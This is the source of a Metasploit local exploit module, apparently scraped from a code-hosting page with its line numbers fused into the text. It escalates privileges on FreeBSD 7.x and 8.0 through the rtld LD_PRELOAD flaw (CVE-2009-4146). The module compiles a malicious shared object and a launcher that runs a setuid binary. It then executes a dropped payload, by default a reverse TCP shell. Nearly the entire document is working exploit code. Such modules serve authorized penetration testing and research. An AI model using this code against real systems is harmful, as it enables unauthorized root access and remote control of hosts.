Path: blob/master/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::Unix11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'FreeBSD rtld execl() Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in the FreeBSD21run-time link-editor (rtld).2223The rtld `unsetenv()` function fails to remove `LD_*`24environment variables if `__findenv()` fails.2526This can be abused to load arbitrary shared objects using27`LD_PRELOAD`, resulting in privileged code execution.2829This module has been tested successfully on:3031FreeBSD 7.2-RELEASE (amd64); and32FreeBSD 8.0-RELEASE (amd64).33},34'License' => MSF_LICENSE,35'Author' => [36'Kingcope', # Independent discovery, public disclosure, and exploit37'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)38'bcoles' # Metasploit (using Kingcope's exploit code [modified])39],40'DisclosureDate' => '2009-11-30',41'Platform' => ['bsd'], # FreeBSD42'Arch' => [43ARCH_X86,44ARCH_X64,45ARCH_ARMLE,46ARCH_AARCH64,47ARCH_PPC,48ARCH_MIPSLE,49ARCH_MIPSBE50],51'SessionTypes' => ['shell'],52'References' => [53['BID', '37154'],54['CVE', '2009-4146'],55['CVE', '2009-4147'],56['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],57['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],58['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],59['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],60['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],61['URL', 'https://securitytracker.com/id/1023250']62],63'Targets' => [['Automatic', {}]],64'DefaultOptions' => {65'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',66'PrependSetresuid' => true,67'PrependSetresgid' => true,68'PrependFork' => true,69'WfsDelay' => 1070},71'DefaultTarget' => 0,72'Notes' => {73'Stability' => [ CRASH_SAFE, ],74'SideEffects' => [ ARTIFACTS_ON_DISK ],75'Reliability' => [ REPEATABLE_SESSION, ]76}77)78)79register_options([80OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])81])82register_advanced_options([83OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])84])85end8687def base_dir88datastore['WritableDir'].to_s89end9091def suid_exe_path92datastore['SUID_EXECUTABLE']93end9495def upload(path, data)96print_status("Writing '#{path}' (#{data.size} bytes) ...")97rm_f(path)98write_file(path, data)99register_file_for_cleanup(path)100end101102def check103kernel_release = cmd_exec('uname -r').to_s104unless kernel_release =~ /^(7\.[012]|8\.0)/105return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")106end107108vprint_good("FreeBSD version #{kernel_release} appears vulnerable")109110unless command_exists?('cc')111return CheckCode::Safe('cc is not installed')112end113114vprint_good('cc is installed')115116unless setuid?(suid_exe_path)117return CheckCode::Detected("#{suid_exe_path} is not setuid")118end119120vprint_good("#{suid_exe_path} is setuid")121122CheckCode::Appears123end124125def exploit126if !datastore['ForceExploit'] && is_root?127fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')128end129130unless writable?(base_dir)131fail_with(Failure::BadConfig, "#{base_dir} is not writable")132end133134max_len = 1_000135if base_dir.length > max_len136fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")137end138139payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"140141executable_data = <<~LIB142#include <stdio.h>143#include <stdlib.h>144#include <unistd.h>145146void _init() {147extern char **environ;148environ=NULL;149system("#{payload_path} &");150}151LIB152153executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"154upload("#{executable_path}.c", executable_data)155output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")156register_file_for_cleanup("#{executable_path}.o")157158unless output.blank?159print_error(output)160fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")161end162163lib_name = ".#{rand_text_alphanumeric(5..10)}"164lib_path = "#{base_dir}/#{lib_name}"165output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")166register_file_for_cleanup("#{lib_path}.0")167168unless output.blank?169print_error(output)170fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")171end172173exploit_data = <<~EXPLOIT174#include <stdio.h>175#include <stdlib.h>176#include <string.h>177#include <unistd.h>178179int main() {180extern char **environ;181environ = (char**)calloc(8096, sizeof(char));182environ[0] = (char*)calloc(1024, sizeof(char));183environ[1] = (char*)calloc(1024, sizeof(char));184strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");185return execl("#{suid_exe_path}", "", (char *)0);186}187EXPLOIT188189exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"190upload("#{exploit_path}.c", exploit_data)191output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")192register_file_for_cleanup(exploit_path)193194unless output.blank?195print_error(output)196fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")197end198199upload(payload_path, generate_payload_exe)200chmod(payload_path)201202print_status('Launching exploit...')203output = cmd_exec(exploit_path)204output.each_line { |line| vprint_status line.chomp }205end206end207208209